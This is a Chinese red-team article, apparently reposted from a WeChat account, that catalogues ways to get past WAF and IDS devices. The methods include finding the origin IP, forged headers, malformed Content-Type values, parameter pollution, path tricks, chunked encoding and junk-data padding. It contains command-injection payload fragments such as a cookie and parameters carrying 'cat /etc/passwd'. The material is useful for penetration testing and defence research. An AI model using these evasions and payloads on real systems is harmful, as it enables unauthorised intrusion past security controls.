点击蓝字关注我哦
前言
2021年了,现在渗透的越来越难了,刚打的shell,过一会就没了,现在的流量设备,安全设备一个比一个流弊,payload一过去就面临着封禁,为了对抗设备,一些大佬们总结出很多绕过这种基于签名的*WAF 或 IDS* 的手法,为什么叫基于签名的?因为这种设备也是检查数据包中一些特征字符,比如什么and 1=1 什么的,但是肯定不会这么简单的,除了几个黑名单的固定的特征字符,很多都是那种通过正则去匹配特征字符的,这也是造成绕过可能性的原因。
常规手法
1.直接通过真实ip访问
1.1怎么找到真实ip?
1.2 通过ip去访问一些网站,可能提示web页面找不到?
/etc/hosts
C:WINDOWSsystem32driversetc
2.切换协议
3.通过IPv6 访问
4.对http包头进行修改
-
X-forwarded-for
-
X-remote-IP
-
X-originating-IP
-
x-remote-addr
-
x-client-ip
-
Content-Type: text/html
-
Content-Type: #直接删除类型值
-
Content-Type: text/htmlzzzzzzzzz #错误的类型值
-
Content-Type: application/octet-stream #其他类型值
-
Content-Type: multipart/form-data ; boundary=0000
-
Content-Type: mUltiPart/ForM-dATa; boundary=0000
-
Content-Type: multipart/form-datax; boundary=0000
-
Content-Type: multipart/form-data, boundary=0000
-
Content-Type: multipart/form-data boundary=0000
-
Content-Type: multipart/whatever; boundary=0000
-
Content-Type: multipart/; boundary=0000
/cmd/a.php
cookie: cmd1=;cat /etc/passwd
5 对参数操作
/cmd/a.php?%value=payload
/cmd/a.php?%}9value=payload
/cmd/a.php?+value=payload
2. 多个参数(HTTP参数污染)
在php中,如果遇到多个参数,那么是从右到左来取参数值
/cmd/a.php?value=1111111111111111111111111111&value=payload
又比如
/cmd/a.php?value=payload&value=payload
又比如
/cmd/a.php?page=cat /etc/passswd&page=
又比如
/cmd/a.php? page=cat&page=/etc/passswd&page=/passwd
在保证结果正确的情况下,想怎么玩就怎么玩
3.利用服务器特性
比如windows 的特性可以在文件名之后加_等符号,linux 加‘
这些控制字符包括
-
%0d (CR)
-
%0a (LF)
-
%0d%0a (CRLF)
-
%09
-
%0B
-
%00
例子:
http://example.com/file.txt
改成:
http://example.com/file%00.txt
对于有一些waf很实用。
一些waf 或者web应用通过web路由进行封禁,体现为访问某个特定的url路径为403 等状态。
但是通过url路径的特性,能进行绕过:
/path//vuln.php
/////////////////路径//////////////// vuln.php?value=PAYLOAD #在php中
/path/./vuln.php?value=PAYLOAD
/path/blah/../vuln.php?value=PAYLOAD
/path/blah/blah/blah/../../../vuln.php?value=PAYLOAD
/PaTh/VULN.PHP?VaLuE=PAYLOAD #windows大小写不分
通过中间件的特性,在 Apache Tomcat中:
/path;/vuln.php?value=PAYLOAD
/path/;lol=lol/vuln.php?value=PAYLOAD
PATH_INFO(通过 Apache 设置的环境变量)
/vuln/vuln.php/lolol?value=PAYLOAD
/path/vuln.php;lol=lol?value=PAYLOAD
等。。。。。。
姿势列举不完的,灵活组合才是最强姿势。
注意:
1.只有HTTP/1.1支持分块传输
2.POST包都支持分块,不局限仅仅于反序列化和上传包
3.Transfer-Encoding: chunked大小写不敏感
github:
https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.4.0
分包后
此方法主要是把一些关键字给拆开,当然你也可以通过手动编码进行调整,编码过程中长度需包括空格的长度,最后用0表示编码结束。
详情参考
https://gv7.me/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/
遇到什么waf,都是大包绕,绕不过,那就是包不够大,继续填充!!
并不是随意填充垃圾数据,而是填一些不影响结果的数据,比如遇到php站
post参数为username=admin'
那么填充垃圾数据可为:
username=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&username=admin'
填充到waf不再拦截为止。
还有通过语言的注释语句填充,例如如果是xml 上传,则可以使用xml中的注释语法
<!-- 1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad1asdadad -->
把这样的语法放在payload前面,填充到bypass waf为止
如果是反序列化包,可以参考这篇文章:
https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/
END
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利
原文始发于微信公众号(Gamma实验室):红队攻击-绕过waf以及IDS等流量设备